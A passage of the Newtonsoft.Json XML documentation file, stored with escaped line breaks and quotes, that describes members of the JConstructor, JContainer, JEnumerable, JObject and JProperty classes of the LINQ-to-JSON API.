cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JConstructor\">\n            <summary>\n            Represents a JSON constructor.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JConstructor.ChildrenTokens\">\n            <summary>\n            Gets the container's children tokens.\n            </summary>\n            <value>The container's children tokens.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JConstructor.Name\">\n            <summary>\n            Gets or sets the name of this constructor.\n            </summary>\n            <value>The constructor name.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JConstructor.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.#ctor(Newtonsoft.Json.Linq.JConstructor)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> object to copy from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.#ctor(System.String,System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> class with the specified name and content.\n            </summary>\n            <param name=\"name\">The constructor name.</param>\n            <param name=\"content\">The contents of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.#ctor(System.String,System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> class with the specified name and content.\n            </summary>\n            <param name=\"name\">The constructor name.</param>\n            <param name=\"content\">The contents of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> class with the specified name.\n            </summary>\n            <param name=\"name\">The constructor name.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JConstructor.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.Load(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.Load(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JContainer\">\n            <summary>\n            Represents a token that can contain other tokens.\n            </summary>\n        </member>\n        <member name=\"E:Newtonsoft.Json.Linq.JContainer.ListChanged\">\n            <summary>\n            Occurs when the list changes or an item in the list changes.\n            </summary>\n        </member>\n        <member name=\"E:Newtonsoft.Json.Linq.JContainer.AddingNew\">\n            <summary>\n            Occurs before an item is added to the collection.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JContainer.ChildrenTokens\">\n            <summary>\n            Gets the container's children tokens.\n            </summary>\n            <value>The container's children tokens.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.OnAddingNew(System.ComponentModel.AddingNewEventArgs)\">\n            <summary>\n            Raises the <see cref=\"E:Newtonsoft.Json.Linq.JContainer.AddingNew\"/> event.\n            </summary>\n            <param name=\"e\">The <see cref=\"T:System.ComponentModel.AddingNewEventArgs\"/> instance containing the event data.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.OnListChanged(System.ComponentModel.ListChangedEventArgs)\">\n            <summary>\n            Raises the <see cref=\"E:Newtonsoft.Json.Linq.JContainer.ListChanged\"/> event.\n            </summary>\n            <param name=\"e\">The <see cref=\"T:System.ComponentModel.ListChangedEventArgs\"/> instance containing the event data.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JContainer.HasValues\">\n            <summary>\n            Gets a value indicating whether this token has child tokens.\n            </summary>\n            <value>\n            \t<c>true</c> if this token has child values; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JContainer.First\">\n            <summary>\n            Get the first child token of this token.\n            </summary>\n            <value>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the first child token of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JContainer.Last\">\n            <summary>\n            Get the last child token of this token.\n            </summary>\n            <value>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the last child token of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Children\">\n            <summary>\n            Returns a collection of the child tokens of this token, in document order.\n            </summary>\n            <returns>\n            An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the child tokens of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, in document order.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Values``1\">\n            <summary>\n            Returns a collection of the child values of this token, in document order.\n            </summary>\n            <typeparam name=\"T\">The type to convert the values to.</typeparam>\n            <returns>\n            A <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> containing the child values of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, in document order.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Descendants\">\n            <summary>\n            Returns a collection of the descendant tokens for this token in document order.\n            </summary>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the descendant tokens of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.DescendantsAndSelf\">\n            <summary>\n            Returns a collection of the tokens that contain this token, and all descendant tokens of this token, in document order.\n            </summary>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing this token, and all the descendant tokens of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Add(System.Object)\">\n            <summary>\n            Adds the specified content as children of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"content\">The content to be added.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.AddFirst(System.Object)\">\n            <summary>\n            Adds the specified content as the first children of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"content\">The content to be added.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.CreateWriter\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> that can be used to add tokens to the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <returns>A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> that is ready to have content written to it.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.ReplaceAll(System.Object)\">\n            <summary>\n            Replaces the child nodes of this token with the specified content.\n            </summary>\n            <param name=\"content\">The content.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.RemoveAll\">\n            <summary>\n            Removes the child nodes from this token.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Merge(System.Object)\">\n            <summary>\n            Merge the specified content into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"content\">The content to be merged.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Merge(System.Object,Newtonsoft.Json.Linq.JsonMergeSettings)\">\n            <summary>\n            Merge the specified content into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using <see cref=\"T:Newtonsoft.Json.Linq.JsonMergeSettings\"/>.\n            </summary>\n            <param name=\"content\">The content to be merged.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonMergeSettings\"/> used to merge the content.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JContainer.Count\">\n            <summary>\n            Gets the count of child JSON tokens.\n            </summary>\n            <value>The count of child JSON tokens.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JEnumerable`1\">\n            <summary>\n            Represents a collection of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> objects.\n            </summary>\n            <typeparam name=\"T\">The type of token.</typeparam>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JEnumerable`1.Empty\">\n            <summary>\n            An empty collection of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> objects.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JEnumerable`1.#ctor(System.Collections.Generic.IEnumerable{`0})\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> struct.\n            </summary>\n            <param name=\"enumerable\">The enumerable.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JEnumerable`1.GetEnumerator\">\n            <summary>\n            Returns an enumerator that can be used to iterate through the collection.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.Collections.Generic.IEnumerator`1\"/> that can be used to iterate through the collection.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JEnumerable`1.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JEnumerable`1.Equals(Newtonsoft.Json.Linq.JEnumerable{`0})\">\n            <summary>\n            Determines whether the specified <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> is equal to this instance.\n            </summary>\n            <param name=\"other\">The <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> to compare with this instance.</param>\n            <returns>\n            \t<c>true</c> if the specified <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> is equal to this instance; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JEnumerable`1.Equals(System.Object)\">\n            <summary>\n            Determines whether the specified <see cref=\"T:System.Object\"/> is equal to this instance.\n            </summary>\n            <param name=\"obj\">The <see cref=\"T:System.Object\"/> to compare with this instance.</param>\n            <returns>\n            \t<c>true</c> if the specified <see cref=\"T:System.Object\"/> is equal to this instance; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JEnumerable`1.GetHashCode\">\n            <summary>\n            Returns a hash code for this instance.\n            </summary>\n            <returns>\n            A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. \n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JObject\">\n            <summary>\n            Represents a JSON object.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParse\" title=\"Parsing a JSON Object from Text\" />\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JObject.ChildrenTokens\">\n            <summary>\n            Gets the container's children tokens.\n            </summary>\n            <value>The container's children tokens.</value>\n        </member>\n        <member name=\"E:Newtonsoft.Json.Linq.JObject.PropertyChanged\">\n            <summary>\n            Occurs when a property value changes.\n            </summary>\n        </member>\n        <member name=\"E:Newtonsoft.Json.Linq.JObject.PropertyChanging\">\n            <summary>\n            Occurs when a property value is changing.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.#ctor(Newtonsoft.Json.Linq.JObject)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> object to copy from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.#ctor(System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> class with the specified content.\n            </summary>\n            <param name=\"content\">The contents of the object.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.#ctor(System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> class with the specified content.\n            </summary>\n            <param name=\"content\">The contents of the object.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JObject.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Properties\">\n            <summary>\n            Gets an <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> of this object's properties.\n            </summary>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> of this object's properties.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Property(System.String)\">\n            <summary>\n            Gets a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> with the specified name.\n            </summary>\n            <param name=\"name\">The property name.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> with the specified name or <c>null</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Property(System.String,System.StringComparison)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> with the specified name.\n            The exact name will be searched for first and if no matching property is found then\n            the <see cref=\"T:System.StringComparison\"/> will be used to match a property.\n            </summary>\n            <param name=\"name\">The property name.</param>\n            <param name=\"comparison\">One of the enumeration values that specifies how the strings will be compared.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> matched with the specified name or <c>null</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.PropertyValues\">\n            <summary>\n            Gets a <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> of this object's property values.\n            </summary>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> of this object's property values.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JObject.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JObject.Item(System.String)\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Load(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n            <exception cref=\"T:Newtonsoft.Json.JsonReaderException\">\n                <paramref name=\"reader\"/> is not valid JSON.\n            </exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Load(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n            <exception cref=\"T:Newtonsoft.Json.JsonReaderException\">\n                <paramref name=\"reader\"/> is not valid JSON.\n            </exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Parse(System.String)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> populated from the string that contains JSON.</returns>\n            <exception cref=\"T:Newtonsoft.Json.JsonReaderException\">\n                <paramref name=\"json\"/> is not valid JSON.\n            </exception>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParse\" title=\"Parsing a JSON Object from Text\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Parse(System.String,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> populated from the string that contains JSON.</returns>\n            <exception cref=\"T:Newtonsoft.Json.JsonReaderException\">\n                <paramref name=\"json\"/> is not valid JSON.\n            </exception>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParse\" title=\"Parsing a JSON Object from Text\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.FromObject(System.Object)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from an object.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> with the values of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.FromObject(System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from an object.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/>.</param>\n            <param name=\"jsonSerializer\">The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> that will be used to read the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> with the values of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.GetValue(System.String)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.GetValue(System.String,System.StringComparison)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.\n            The exact property name will be searched for first and if no matching property is found then\n            the <see cref=\"T:System.StringComparison\"/> will be used to match a property.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <param name=\"comparison\">One of the enumeration values that specifies how the strings will be compared.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.TryGetValue(System.String,System.StringComparison,Newtonsoft.Json.Linq.JToken@)\">\n            <summary>\n            Tries to get the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.\n            The exact property name will be searched for first and if no matching property is found then\n            the <see cref=\"T:System.StringComparison\"/> will be used to match a property.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"comparison\">One of the enumeration values that specifies how the strings will be compared.</param>\n            <returns><c>true</c> if a value was successfully retrieved; otherwise, <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Add(System.String,Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Adds the specified property name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.ContainsKey(System.String)\">\n            <summary>\n            Determines whether the JSON object has the specified property name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns><c>true</c> if the JSON object has the specified property name; otherwise, <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Remove(System.String)\">\n            <summary>\n            Removes the property with the specified name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns><c>true</c> if item was successfully removed; otherwise, <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.TryGetValue(System.String,Newtonsoft.Json.Linq.JToken@)\">\n            <summary>\n            Tries to get the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <param name=\"value\">The value.</param>\n            <returns><c>true</c> if a value was successfully retrieved; otherwise, <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.GetEnumerator\">\n            <summary>\n            Returns an enumerator that can be used to iterate through the collection.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.Collections.Generic.IEnumerator`1\"/> that can be used to iterate through the collection.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.OnPropertyChanged(System.String)\">\n            <summary>\n            Raises the <see cref=\"E:Newtonsoft.Json.Linq.JObject.PropertyChanged\"/> event with the provided arguments.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.OnPropertyChanging(System.String)\">\n            <summary>\n            Raises the <see cref=\"E:Newtonsoft.Json.Linq.JObject.PropertyChanging\"/> event with the provided arguments.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JProperty\">\n            <summary>\n            Represents a JSON property.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JProperty.ChildrenTokens\">\n            <summary>\n            Gets the container's children tokens.\n            </summary>\n            <value>The container's children tokens.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JProperty.Name\">\n            <summary>\n            Gets the property name.\n            </summary>\n            <value>The property name.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JProperty.Value\">\n            <summary>\n            Gets or sets the property value.\n            </summary>\n            <value>The property value.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.#ctor(Newtonsoft.Json.Linq.JProperty)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> object to copy from.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JProperty.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.#ctor(System.String,System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> class.\n            </summary>\n            <param name=\"name\">The property name.</param>\n            <param name=\"content\">The property content.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.#ctor(System.String,System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> class.\n            </summary>\n            <param name=\"name\">The property name.</param>\n            <param name=\"content\">The property content.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.Load(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.Load(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> from a <see 